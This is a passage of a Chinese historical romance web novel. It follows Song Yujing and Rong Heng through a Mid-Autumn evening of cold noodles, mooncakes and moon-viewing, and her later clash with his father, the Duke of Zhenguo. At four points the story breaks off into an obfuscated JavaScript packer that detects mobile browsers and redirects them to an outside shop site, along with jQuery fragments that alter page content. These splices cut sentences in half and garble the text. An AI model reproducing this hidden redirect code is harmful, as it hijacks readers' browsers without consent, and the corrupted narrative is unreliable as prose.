顾及自己和兄长的面子,宋予静略去一部分详情,最后强调:“我就溜过那一次,真的就一次!后来我都非常认真地听先生讲学了。” 虽是十年前的旧事,现在重新讲一遍,她下意识挠挠手心,仿佛还残留戒尺拍在掌心的疼痛。 “我们回去吧。” “什么?”宋予静一愣,“为什么要回去?” 容珩的视线掠过她的双手,摇头道:“我累了,想回去歇息。” 察觉到他的目光落在哪里,宋予静看看手心,听出他的言不由衷,轻快道:“反正都溜出来了,回去至多挨一顿骂而已,这么多年,母亲就打过我那一次手心。” “但是……” “走啦。”她直接抓起他的衣袖,拉着他往前走,“我都不怕,你怕什么?难道说你是嫌弃我了吗?不愿意陪我?” “不是。”容珩立即反驳,缓缓呼出一口气,“我当然愿意陪你。” “那你还担心什么?” 天气渐凉,来吃凉粉的人也渐渐变少,食肆门口摆的木桌空空如也。 走过去一看,店家正将条凳摆到桌上,似乎打算收摊了。 “麻烦再做两碗凉粉。”宋予静急忙开口,掏出比平时多的铜钱,“麻烦了。” 她来的次数不算少,店家都认识她了,重新把条凳放回去,说:“稍等两刻钟。” 宋予静道了声谢,跟容珩在外面的木桌边落座。 刚坐下,一个小女孩噔噔地跑过来,双手砰地往桌上一放,嫩声开口:“阿爹让我送橘子给你们。” 女孩收回小手,两个青色圆橘子咕噜一下往前滚。 “帮我跟你阿爹道声谢。”宋予静伸手拦住,弯腰摸摸女孩圆润的小脸,“这橘子是哪里来的?” “我家后院种的。”女孩笑嘻嘻回答,“好甜好甜的,姐姐你快吃。” 她笑了笑,抬头看了眼正在忙活的店家,将刚才买的果脯塞到女孩手里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884859|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “送给你。” 女孩回头去看父亲,见他忙得没空看这边,嫩白的小手捧着油纸包,不停摇头:“我不能……” “拿着吧,很好吃的。”宋予静合拢女孩双手,“就当是你送橘子的谢礼。” 女孩不过六七岁的年纪,胡乱地弯了下腰,跑回去揪住店家的衣角,拿起一块果脯往他口里送。 店家愣了下,抬头看过来。 她略微提高声音:“没事,是我送给孩子的。” 店家歉然地点点头,一手接住女儿递来的果脯,一手摸摸女儿的脑袋,并未责怪。 宋予静笑了笑,拿起桌上的橘子,撕开橘子皮,取出里面橘红色果肉,捏住上面的白色橘络,一点点撕干净,掰出两瓣,递到容珩面前。 “给你。” 她也吃了一瓣橘子肉,虽然外皮还青,但很甜,酸味几乎忽略不计。 剥好剩下一个橘子后,还没来得及吃,店家端着两碗凉粉走过来,“两位,请慢用。” 宋予静看着两碟的佐料,问:“你想吃什么口味?” 容珩扫了一眼,往碗里倒了点花椒油,又将桂花蜜水推到她面前。 这倒是与七夕的时候反过来了。 她笑着往他的碗里加了一勺芝麻酱,想起他清淡的口味,提醒道:“不要一下子加太多花椒,免得太辣了。” 容珩应了声好,搅拌均匀碗里的凉粉,夹起一点送入口中。 宋予静在碗里加满桂花蜜水,搅拌后,低头嗦了半碗粉,突然听见一声急促的呛声,紧接着响起绵绵不断的咳嗽声。 她一惊,立即抬头看向对面的容珩。 他咳得厉害,抬起宽大的袖子遮住下半张脸,咳嗽声接连不断地衣袖后面传出来。 他的额头冒出薄薄细汗,红晕漫上昳丽面容,眼尾漾开一抹深红,像是有人在指尖挑了一点大红色的胭脂,细细地涂抹上去。 眼睛里隔着一层蒙蒙水雾,近似无措地望着她。 惹人怜惜。 无端地让人想拂去那一点水珠。 宋予静咬紧牙关,摇头甩掉脑海里冒出的奇怪念头。 幸好她刚才让店家提前准备了清水,连忙倒满一杯水,塞进他的手里。 趁着容珩喝水的空隙,她往桌上一扫,抄起剥好的橘子,递到他的嘴边。 “张嘴!” 清水暂时压住喉咙里的痒意,但口中又麻又辣,容珩来不及细想,低头一咬,嘴唇不慎擦过她柔软的手心。 他微微一愣,垂下眼帘,细细咀嚼,橘子酸甜,渐渐压住舌尖的麻辣。 “感觉好些了吗?” 容珩低低应了声,飞快地看了眼她的手,捧着杯子细抿清水。 宋予静将剩下的橘子放到他的面前,叹道:“看来你不能吃辣。” 容珩放下茶杯,长长地呼出一口热气:“我以为不会很辣。” 本就吃得差不多了,等他缓过来后,她站起来,说:“我们走吧。” “好。” “姐姐。”店家那个小女孩跑过来,又塞给宋予静一个橘子,圆溜溜的大眼睛一转,看向容珩,“大哥哥,你和漂亮姐姐是什么关系呀?” “不要乱说话。”店家轻声斥责,“姑娘,公子,我家丫头不懂事,千万别跟她一般见识。” 容珩摇头,想起宋予静之前所言,回答:“是……” “朋友”两个字还没有说出来,他听见她清脆认真的声音响起—— “他是我的表兄。” 27. 团圆 容珩一惊,下意识看向宋予静。 她正从女孩手里接过橘子,摸摸女孩的头,笑盈盈道:“我走了,有空再来。” “嗯,姐姐再见。” 跟着她一起走远,容珩确保周围没有其他人后,才缓声问:“你刚刚为什么要那样回答?” 宋予静停下脚步,“你不喜欢我那样称呼你?” 他摇头:“但你我之间并无血缘姻亲,这与实际不符。” “哎呀,我就撒这么小小的一个谎,你不要这么一本正经地拆穿我。” 她笑起来,眼瞳明亮澄净,流淌着如水的月光,而她的声音微微沉下来。 “今日中秋,是家人相聚团圆美满的佳节,但令尊令堂的事,我无能为力……”她停顿一下,“如果你不介意,今夜我愿意暂时成为你的家人,良辰美景,与君同乐。” 容珩猛地闭上眼睛,避开她那双专注得只有他一人的眼睛,藏在袖子里的手紧握成拳,掌心一瞬间热意灼人,指尖恍惚残留肌肤细腻的触感。 她怎么可以……怎么可以如此坦然地说要成为他的家人?哪怕她说的只是短暂的今晚。 “……你不喜欢吗?”宋予静迟疑慌乱的声音响起,“对不起,我不该开这样的玩笑,你就当我刚刚什么没说……” “不是!” 容珩瞬间睁开眼睛,声音轻轻发颤:“我只是太惊讶了。” 她明显松了口气,微微歪头,语气乖巧无比:“表兄,我们去临江楼,好不好?我在那里包了雅间,我们一起临江赏月。” 她勾起他的衣袖,捏在手心里,左右晃动,头顶几根发丝翘起来,随她的动作轻轻摇曳。 容珩盯着那几缕散乱的发丝,手往前抬起一分,又不动声色地放下,轻声应道:“好。” 宋予静率先朝前走。 容珩跟在她的身后,听见她小声嘀咕:“临江楼中秋的雅间可真难包,我足足提前一个月去,还是要多花钱……” 他耐心倾听,从不觉得烦,听到她抱怨多花了不少钱,不由开口:“我有钱。” “我当然知道你有钱啦。”她拍拍胸口,“我也有钱,放心,今晚还是能请你一起在雅间赏月。” 他笑笑,跟着她一起前往临江楼最顶层的雅间。 宋予静推开窗户,夜空澄澈,皎洁月光霎时全都倾泄进来,洒下一层清辉。 她站在温柔的月光里,月白色宫装华贵绮丽,夜风轻柔地吹起她的衣角,缥缈得恍若幻梦。 容珩大跨步朝前,急声开口:“宋姑娘!” “怎么了?” 她回头,目光诧异。 他走到她的身边,微笑道:“没事。” 宋予静没有追问,“你看河面,很漂亮。” 容珩低头看向下方的河流。 水面近似无波,天上明月倒映,河边杨柳垂下柔软的枝条,一阵夜风刮过,柳枝飘扬,水里的月亮泛起涟漪。 宋予静双手撑在窗边,托住下巴,仰头望着澄净的夜空,月光柔和,照在她的脸上,不知名的曲调轻柔地从她口中飘出。 闲适悠宁,令人安心。 容珩不禁盯着她白皙柔和的侧脸,在她发现之前,垂下眼帘,后退几步,坐在罗汉床上。 宋予静坐在他的对面,打开府里侍女提前送来的食盒,端出几碟月饼。 “之前跟你说的月饼,拿桂花、莲子做馅,我之前尝过了,味道还可以。” “我记得你之前说过,想拿莲藕片做馅料,做的怎么样?” “嗯……”她按住碟子边缘,“试了一个,味道……嗯,我感觉不算很好,就没让厨子做。” 他忍住笑,视线扫过面前的月饼。 中秋月饼大多做成圆形,取团圆之意,表面拓印出各色各样的图案。 容珩拿起一块双鱼戏莲的月饼,浓郁的桂花香扑鼻,咬了半口,馅料磨得很细,一股莲子清甜在舌尖漾开。 “怎么样?”宋予静盯着他,“我特意让人少放了糖,应该不会很甜。” “嗯,很美味。” “那表兄你多吃几块。” 说着,她也拿起一块月饼,托腮望向窗外明月。 听见那两个字,容珩按按心口,心跳不似之前那么快。 想起她在亲生兄长面前无拘无束的模样,他忍不住问:“为什么是表兄?” “啊?”宋予静愣了下,反应过来他在问什么后,老实回答,“兄长还在呢,我不能乱叫。” 如果被宋归鸿知道她在外面乱认兄长,肯定骂得她狗血淋头。 堂兄的话又不同姓,更不可能这么称呼了。 表兄就方便多了,既有像太子这样的嫡亲表兄,也有一表三千里、逢年过节都不走动的远房表兄。 宋予静如实告知,讪笑两声:“就是这样。” 容珩看了她半晌,倏地轻轻一笑,拿起一小块桂花月饼,递到她的唇边,温声唤道:“表妹。” 她伸手去接,但他没有松手,执意将月饼托到她的唇边,目光温柔似水。 耳尖生出一丝热意,她挽起耳边的碎发,小心地避开他的手指,低头咬住那一小块月饼。 宋予静莫名地不敢去看他,细嚼两下,咽下去后,小声道:“我不是小孩子了,不用喂。” 容珩笑着颔首,却问:“甜吗?” 味道和她在家里尝的差不多,以她的口味来说,其实不够甜,可对上他温润含笑的目光,她不自觉地回答:“甜。” 他眉眼间的笑意更甚,拿起案几上的橘子,剥去果皮,一瓣瓣地分开,再细心捻去上面的橘络,放到她面前的瓷碟里。 宋予静一口一瓣,脸颊微微鼓起,伸手去接月光清辉,叹道:“可惜没有带酒。” “……你想喝酒?”容珩缓声问。 “对呀。”她又叹了口气,“之前在宫宴上,其他人都有酒,就我没有。” 容珩没有接话。 “我看到你的桌面也有酒。”她看着他,咽了口唾沫,“怎么样?宫里的酒好喝吗?” 顶着她期待好奇的目光,他回答:“不知道,我没有在宴上喝酒。” “欸?但我之前抱住你……”宋予静卡了一下,视线在他身上一转,含糊地略过几个字,“我好像闻到了酒气。” 容珩抬起袖子闻了闻,“大概是之前搀扶父亲时,不慎沾染到了一些。” 提及镇国公,雅间内沉默一瞬。 宋予静偷瞄他的神情,平静淡然,再无冰霜。 她连忙转移话题:“不过之前我摘了好多桂花,一些拿来做月饼,还有剩下一些,就拿去酿酒了,大概再储藏一两个月就能喝了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902161|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你亲自酿造的?” “……我帮忙摘了桂花,也算是搭了把手。”她挠挠脸颊,“你的酒量怎么样?桂酿不算烈酒,到时候你要喝吗?” “还行,你酿的酒,我自然不能错过。”容珩顿了顿,“你的酒量呢?” “一般一般,我感觉不能算特别好。” 一边赏月,一边吃月饼和时令水果,就着近来趣事闲聊半天,街上传来更夫敲击梆子的声音。 宋予静抬头去看夜空,饱满圆月高高挂在正南方。 “快三更了。”她关上窗户,“我们得回去了。” 两人离开临江楼。 与之前喧闹熙攘相比,此时街上的行人很少,两边的铺子都已经关门,唯有门口的灯笼闪着昏黄烛光,和月光一起照亮路面。 宋予静走得很慢,在心里默默估算庆阳长公主这个时辰有没有歇息,琢磨着要不要迟点再回家。 她暗自叹息一声,瞧见前方的影子,视线微微一凝。 两人之间隔了半尺距离,落在地面的影子却亲密无间,紧贴在一起。 宋予静不动声色地往旁边移了两步,再去看地面。 两人的影子隔开些许距离,夜风渐起,灌进广袖,吹得他的衣袖飘飘荡荡。 她落后两步,翘起手指,在地面比出鸟儿的影子,轻轻去啄他的肩膀,又试图勾起他的衣袖。 容珩忽然止步,回头看她。 宋予静连忙将手背到身后,轻咳两声,抢先开口:“怎么了?” 他走回来,抓起衣袖,摆在她的面前,示意她牵住。 她勾住衣角,故作夸张道:“公子的衣裳可真漂亮,奴家从来没有见这么华丽的刺绣,这衣料应该很难得吧?” “是织金缎。”容珩认真回答,“你喜欢?府里还有,我送你一些。” “奴家叩谢公子赏赐。” 宋予静一边说,一边装模作样地向他行礼。 “……不要这样。” 公主府哪里会缺绫罗绸缎,容珩总算看出她在故意逗他,转头看向前方,却没有把衣袖收回去。 “我先送你回家。” 瞧见他脸上的一丝窘意,她心里笑得更欢,捏着嗓子继续说:“多谢公子。” 回到公主府,宋予静从门房处拿来一盏灯笼,没有立即交给容珩,轻声问:“你今晚过得开心吗?” “开心。”容珩几乎瞬间回答,定定地看着她,“今晚是我过得最开心的一个中秋。” 他脸上笑容不似作假,与之前在宫里时的落寞消沉截然相反。 她跟着笑起来,将灯笼交给他,又皱起眉:“你回去后,如果镇国公的心情还是不好,大杖则走,你千万要记得躲开,不要傻乎乎地挨打。” 容珩应了声“好”,同样认真叮嘱:“如果殿下与学士要责罚,你尽管把过错推到我身上。” “母亲才不会罚我呢。”宋予静朝他安抚地笑笑,“快点回家吧。” 话虽如此说,目送容珩离开后,她悄悄溜回家,四下静谧,连虫鸣声都听不见。 宋予静心下惴惴,抓住一名守夜的侍女,低声问:“母亲歇息了吗?” 侍女张开口,还没来得及说话,忽然瞪大双眼,朝她身后恭敬地行礼。 与此同时,背后响起一道温柔的女声:“你还记得回家呀。” 28. 偏袒 一股凉意从脊背蹿起来,宋予静不由自主地打了个哆嗦。 她揉揉脸颊,转身迅速跨到来人跟前,一口认错:“阿娘,我错了,不该玩到这么晚才回家。” 庆阳长公主笑得非常温柔:“就只错了这一点?” 宋予静磨蹭半晌,含糊其辞:“……我不该从宫宴上偷溜。” 刚说完,额头被人轻轻一敲。 她捂住额头,抬头去看庆阳长公主,竟然在母亲的眼中看出几分朽木不可雕的无奈。 “阿娘?” “你不是错在偷溜,而是错在偷溜就算了,还被人发现,幸好是慈宁宫的宫女,替你掩饰了一番。” 听出母亲话里没有太多的责怪之意,宋予静立时松了口气,继续认错:“我懂了,下次我一定小心谨慎,绝对不会被人发现。” 庆阳长公主轻轻哼了一声:“就你这样子,哪里比得上我当年……” 庆阳长公主忽然噤声,拿帕子拂过唇边,微笑道:“都快子时了,你还不赶紧回去睡觉?” 宋予静巴不得赶紧离开,哪里还敢去追究母亲刚才的失言,连忙表示:“我马上回去!阿娘,您也早点回去休息,我明早去陪您用早膳。” 说完,她飞快地奔向瑞雪居。 瑞雪居里还点着灯,冬雪站在门口,禀道:“姑娘,热水已经备好。” “好。” 沐浴之后,宋予静换上白色寝衣,坐在梳妆台前,那干布巾擦拭头发。 擦了片刻,发梢摸着仍有湿意,她捻住发尾,突然开口:“冬雪留下,其他人都出去。” 里间的侍女应声而退。 冬雪上前,恭声道:“姑娘。” “你去帮我查一件事。”宋予静盯着自小跟在身边的侍女,“不得告诉任何人,包括父亲和母亲。” 冬雪一愣,看了她一眼,声音越发恭敬:“还请姑娘吩咐。” “你去查一查已故镇国公夫人的生平,尤其是和镇国公之间有没有什么内情。”她拧起眉头,“可能很难查到,院里的钱暂时都随你用,事后你多领两个月的月俸,不过要注意,这事绝对不能被别人察觉。” “是。” 食指慢慢缠绕住发尾,手上一时不慎用力,头皮传来一阵轻微撕扯的痛感。 宋予静倒吸一口冷气,思索良久,叹道:“算了,你先简单去探听明面上的消息,切记不能惊扰到镇国公世子。” 冬雪没有多问,恭声应了声“是。” 摸着头发干了后,宋予静打了个哈欠,上床歇息。 天气日渐变凉,又值深夜,她没有让人在屋里放冰鉴。 但她一点睡意都没有,往左往右翻了几遍身,最后干脆睁开眼睛望着帐子顶。 ……要不还是别查了,万一被容珩知道了,会不会以为她不懂事? 可是如果不查清楚,她总觉得心口堵着一股闷气。 宋予静深深地叹气,就悄悄查这一次,如果容珩要怪她,那她也认了。 * 镇国公府。 容珩提灯走上台阶。 门房屈膝行礼,伸手准备接过他手里的灯笼。 他侧身避开,淡声问:“父亲回来了吗?” “回世子,国公亥时正便回来了。”门房垂手站定,“国公特意吩咐,等您回来后,不管多迟,一定要去正院见他。” 容珩随意地应了一声,继续往前走,却是往世子院的方向。 他走进库房,吹灭灯笼里的蜡烛,仔细拿布套罩好,放在架子上,旁边同样摆着两盏罩有避尘布套的灯笼。 容珩一一扫过架子,跨出库房时,吩咐守在屋外的小厮:“派人每日勤加洒扫,动作要小心,不能损坏里面任何一件东西。” “是。” 府里各都点起了灯笼,正院更是灯火通明,没有任何侍从守在里面,唯独廊檐下站着一道高大的身影。 容珩不紧不慢地上前行礼:“父亲。” 言罢,他站直身,微垂眼帘,盯着地面。 “……你去哪里了?”良久的沉默之后,镇国公哑声开口,“后来为何没有在宫宴上出现?” “我一时觉得有些不舒服,便先行离宫。”他抬头直视镇国公,声音平静无波,“明日我自会进宫向圣上请罪。” 镇国公一言不发地盯着他。 容珩不避不俱,等着镇国公的厉声斥问,半晌后,却听到一句:“圣上仁慈,没有责怪你,不必再进宫叨扰圣驾,你回去吧。” “是。” 他再次恭敬行礼,旋即转身,大步朝前走,即使感觉到镇国公的视线一直停留在他的身上,他也没有回头。 回到世子院,容珩望着皎洁月色,脑海里蓦然浮现她站在月光里的身形,忍不住勾起嘴角。 “整理一下院子里的丝绸。”他认真吩咐,“将银红色与月白色挑出来。” * 思索半宿后,宋予静最终还是决定不深查,只打听明面上的信息。 冬雪自然不会多问,两日后便将探查到的消息递到她的面前。 她独自坐在书房,仔仔细细地翻阅面前的一小沓纸。 镇国公夫人嫁给镇国公后,琴瑟和鸣,鹣鲽情深,而镇国公在发妻因病去世后,一直没有续弦。 按理说,容珩是两人唯一的孩子,镇国公应该非常疼爱发妻留下的独子,即使后面有了庶子庶女,也不至于对容珩如此冷淡薄情,还险些在宫里直接打人。 传闻镇国公性格严厉,但依容珩所讲,镇国公此前从未打过他。 宋予静再次拿起那沓纸,翻了几遍,捏紧纸张一角,捏得纸面起了深深的褶皱。 她缓缓呼出一口闷气,点起火盆,一张张丢进去。 火舌蹿起,转瞬吞没薄薄的几张纸。 要不要去看看容珩? 她盯着铜盆里的火星,等其彻底烧为灰烬,又往盆里倒了半杯茶水,起身离开瑞雪居。 快走到府门口时,宋予静远远地便看见宋归鸿的身影。 “哥。”快步走过去,“你要出门?” 宋归鸿点头,两条眉毛紧紧拧成一个疙瘩,同样问:“你要出门?” “是,出去走走。”她停顿一下,“你要我帮忙做什么?” “你能不能顺道去趟翰林院?”宋归鸿没客气,直接说,“爹有份书稿落家里了,但我另外有急事,没空亲自去送。” “给我。”她接过书稿,“我等会儿就送去翰林院。” 宋归鸿摆摆手,急匆匆地离开了。 宋予静抱紧书稿,隔得不远,没有叫车轿,直接走去翰林院。 先前七夕的时候来过一次,翰林院的书办还记得她,引着她去待客的偏厅暂候。 翰林院里变化不大,来往的大多是身着官服的官员,满身书卷气。 宋予静礼貌地向其他人行礼示意,走进偏厅时,发现早有人在。 一身黑色锦袍的中年男子端坐在上首,闭目养神,或因听见脚步声,睁开眼睛,眼中湛湛寒光一闪而过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913898|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她猛地捏紧怀里的书稿,缓步上前:“见过国公,不知国公在此,叨扰了。” “县主不必多礼。” 镇国公站起来,微微颔首,又坐回太师椅里。 宋予静也不多话,环视一圈屋内,选了距离镇国公最远的末端位置坐下。 书办奉上茶水,说已经让人告知宋学士,旋即也退了出去。 屋内安静,屋外偶尔响起一阵脚步声,伴着翰林院官吏的低声交谈。 宋予静低垂眼帘,盯着地面,规规矩矩地坐了一会儿后,借着端起茶杯的动作,悄悄去看镇国公。 镇国公依旧闭眼不语。 之前两次都只是远远地望见,现在近看,越发能看出容珩的脸型轮廓与其相似,眉眼却比勇毅的镇国公更加雅致。 或许更像镇国公夫人。 宋予静咽下嘴里的苦茶。 屋外由远及近响起熟悉的脚步声,她抬头看见宋学士的身影出现在门口,连忙起身相迎。 “爹。” “等很久了吗?”宋学士解释,“方才与同僚在商量政事,耽搁了一阵子。” “没有。”她把书稿亲自交给父亲,“哥哥没空,托我送过来给您。” 宋学士径直接住书稿,没有打开看,“等会儿我拿去给同僚,和你一起回家。” 宋予静没有立即答应。 原本计划离开翰林院后,她就去镇国公府找容珩,但父亲这么说,要不午后再寻个时间去找他? 她这么一犹豫,又听到宋学士开口:“烦劳国公久等,您要找的甲寅本《枕中记》院里没有,烦请国公再去文渊阁问问。” 镇国公脸上的失望之色难以掩饰,起身拱手,“是我麻烦诸位了。” “国公言重了。” 两人彼此客套,宋予静不好插话,微低着头,忽然觉得有道锐利视线落在身上,心中一紧,抬头正对上镇国公的目光。 “令爱孝顺乖巧,”镇国公的声音听上去有些凝涩,“学士有如此聪慧的女儿,着实令人艳羡。” 宋予静紧紧皱眉,骤然想起差点挨打的容珩,心口憋了几天的闷气一股脑地全涌上来。 “那是自然。”她冷笑道,“父亲是全天下最好的父亲,亲自教导儿女念书写字,待儿女一向和蔼可亲,从来不会因自己心情不好而迁怒于我,更不会想打我一巴掌。” 镇国公一怔:“你……” “静儿,不得胡说。”宋学士轻声斥责,往前一步,朝镇国公拱手,“小女无状,国公切莫见怪。” 视野被父亲宽厚的背影遮住,宋予静仍能感受到镇国公打量她的视线,又听到对方说:“无妨,学士,我还有事,先行告辞。” “国公慢走。” 盯着镇国公大步离开的身影,宋予静撇撇嘴,转头就对上宋学士疑惑的神情:“静儿,你讨厌镇国公?” 讨厌倒不至于,她都没见过几次镇国公,只因为他是容珩的父亲,比旁人印象深几分。 偏偏中秋刚撞见镇国公斥责容珩,这会儿又听到他说羡慕亲近的父女之情,再想起查到的消息,她一时没忍住,阴阳怪气地刺了对方几句。 她就是偏袒容珩,见不得镇国公在这里惺惺作态。 宋予静老实摇头:“没有。” 宋学士拍拍她的肩膀,温声道:“讨厌也没事,往后遇见的话,明面上全个礼数便好。” “嗯,我记住啦。”她望着宋学士,发自内心地感叹,“父亲,您真的是全天下最好的父亲。” 29. 担心 “惯会说好话。” 嘴上说着斥责的话,宋学士眼中的笑意却不似作伪。 “回家吧。” “好!” 随父亲回到家,宋归鸿暂时还没有回来,宋予静陪着父母一起用了午膳。 她没有回瑞雪居,坐在下方的圈椅里,望向正在商量府里庶务的父母。 在她的印象里,庆阳长公主与宋学士的感情一向很好,偶尔有几次闹别扭,也很快就和好了。 对她和宋归鸿更不用说,偶有斥责,更多的是偏袒维护。 与容珩相比,她过的很好。 眼眶倏忽泛起一阵酸意,宋予静冲上去,双手环抱住庆阳长公主,低声道:“娘……” 庆阳长公主被她突如其来的动作惊了一下,没有推开她,轻轻拍了拍她的手背。 “这是怎么了?莫非在哪里受了委屈?说出来,我给你做主。” “难道是因为镇国公?”宋学士担忧道,“静儿,难道你以前遇见镇国公时,闹了什么不愉快吗?” “镇国公?”庆阳长公主的声音骤冷,“就算是他,也不能欺负我的女儿。” 听到父母在胡乱猜测,宋予静从母亲温暖的怀抱里退后几分,吸吸鼻子,扬起笑容:“我没事,就是忽然觉得我很幸福,有世间最好的父母。” 庆阳长公主摸摸她的脸,沉声道:“受了委屈,只管告诉我们,别的都不用怕。” “我没有受委屈。” 她握住庆阳长公主的手,再次靠在母亲的肩上。 庆阳长公主伸手抚过女儿的长发,转头朝宋学士投去疑惑的眼神。 宋学士微微摇头,表示私下里再细说。 “爹,娘,我回来了。”宋归鸿的声音自屋外传来,打破满室寂静,瞧见伏在母亲肩头的妹妹,笑道,“你都多大了,还要母亲抱着,也不知……” 话未说完,宋学士神色严厉看向他,摆手让他不要乱说。 宋归鸿瞬间止声,紧皱眉头,“发生什么事?” 宋予静悄悄用手背擦过眼角,以往常轻松的腔调回道:“我就抱!你管得着吗?” 她有意舒缓气氛,连忙转移话题:“哥,你吃了午饭吗?干什么去了?怎么满头大汗?” “庄子里一笔支出有蹊跷,阿娘让我亲自去查查。”宋归鸿打量的视线往她脸上瞄了几下,才转向父母,“暂时查出来是有人贪墨。” “先找证据,属实的话一切都按规矩来办。” 庆阳长公主顿了顿,神情一时有些犹豫。 见状,宋予静站起来,主动说:“娘,您上个月让我看铺子里的账册,我已经看完了。” 紧接着,她开始向庆阳长公主叙讲看出来的问题。 庆阳长公主一边认真听,一边微笑颔首,等她说完,赞赏道:“看的不错,只是在对比账面支出与实际支出上……” 宋予静打起精神来细听,末了,她托住下巴,靠坐在椅子里。 “有空的话,去府里的铺子转转,同时也去别家的铺子逛逛。”庆阳长公主说,“看看两者之间不同的门道。” “我记住了。” 眼角余光瞥见宋归鸿一副欲言又止的模样,宋予静大致猜出原因,刚才心口的酸涩早已消散许多。 “哥,你可要认真看账册。”她故意逗趣,“明年轮到我帮忙管庄子里的庶务,不要丢烂摊子给我哦。” 宋归鸿反倒松了口气:“不会。” “还有一事,”庆阳长公主的目光扫过两人,最后停在宋予静的身上,嘴角噙着温柔的笑意,“再过不久是平远侯之女出阁的日子,你们记得去观礼。” 宋予静和宋归鸿同时应是。 待了半天,离开正院,跟宋归鸿玩闹着说了会儿近况,见时候太晚了,宋予静只好回到瑞雪居,叫住一名侍女,吩咐她去镇国公府递信给容珩。 回信是傍晚时分到的。 容珩在信里说这几日不得空,无法赴约,请她莫怪,改日再向她致歉。 宋予静立即捏紧薄薄一张笺纸,叫来送信的侍女,沉声问:“信是容公子亲自给你的?” “是。” “那你应该见到他了。”她又扫了眼纸上的字迹,与上次相差无几,“他有没有受伤?” 侍女一愣,细细回想片刻后,定声回答:“奴婢只抬头匆匆看了容世子一眼,并未看见明面上的伤痕。” “……下去吧。” 侍女应声而退。 宋予静低头再细看容珩的回信。 她自然问了镇国公有无责罚他,他在回信里说没有,可是没能亲眼见他一面,总归是不放心。 她闭眼长叹一声。 * 容珩一时半会约不出来,庆阳长公主交代的事情还要办。 宋予静只好暂时按捺住心中的担忧,将精力放在查看铺面一事。 既是去查账,知道的人不能多,她以游玩的借口,去府里的铺子闲逛,再坐在里面观察生意情况。 看了三四天,再去别家铺子看看,宋予静渐渐意识到庆阳长公主的用意。 多亲眼看,多亲自想,才不会轻易被人蒙蔽。 “姑娘,请用茶。” 铺子里的管事奉上茶水,眼睛偷偷往上一瞄,又恭顺地垂下眼帘。 “姑娘,今早刚到了一批松江棉布,最近天气渐渐变凉,您若是有空,不妨选几匹棉布绸缎,裁几件冬衣。” 宋予静想了想,正准备点头,瞧见刚走进来的熟悉身影,喜悦瞬间漫上心头,不禁往前两步:“你怎么……” 话未说完,铺子里的伙计先行两步上前,脸上堆满笑容。 “公子是来裁衣服吗?现在正是做冬衣冬被的时候,咱这里刚进了一批上好的松江棉布,公子不妨看看?” 她干脆停下,朝他微微摇头,又点头示意他跟着伙计去看布料。 容珩飞快地看了她一眼,并未多问。 他今日穿的低调,走路的姿势很正常,并无不妥。 宋予静多看了几眼,端起茶杯细抿茶水,目光仍止不住地往他身上瞄。 站在旁边的管事眼睛滴溜溜一转,亲自走过去,恭声道:“公子若是不喜欢这些,里面还有江南云锦,不如随小的进去仔细看看。” 容珩摇头:“不必。” 见状,宋予静放下茶杯,“行了,你们忙吧,我带这位公子挑选布料。” 管事立即明了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928973|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的眼拙,还望公子莫怪。” 容珩瞥了他一眼,快步走近,顺着她的话头,抿唇笑道:“那就麻烦掌柜了。” 她也装模作样地回道:“公子请往这边走。” 里间更宽阔,摆放的丝绸布料更多,也更加名贵。 宋予静摆手让其他人不必多礼,穿过华美的丝绸,领着容珩走进后院的屋子里,视线直落在他的身上,来回打量。 “我有哪里不对吗?”他低头往身上四周看看。 她摇头,给他倒了杯温热的茶水,坐在圈椅里,托腮继续盯着他。 容珩端起茶杯,稳稳地抿了口茶水,缓声开口:“……我没有受伤。” 被他看穿心思,宋予静也不恼,提了几天的心慢慢回到原来的位置,“我怕你报喜不报忧,担心镇国公罚你,还故意打在那些不容易发现的地方。” “不会,你放心。” 现在亲眼见到他举止如常,不像受过伤的样子,语气也异常认真,她总算能彻底放心。 “没事就好。” 她喝了口茶压惊,又问:“你怎么会来这里?不会真的是来裁衣服吧?” “不是,你前天给我的信里,提到说要来查看铺子情况,正好最近不忙,我便想来碰碰运气,说不定能遇到你。” 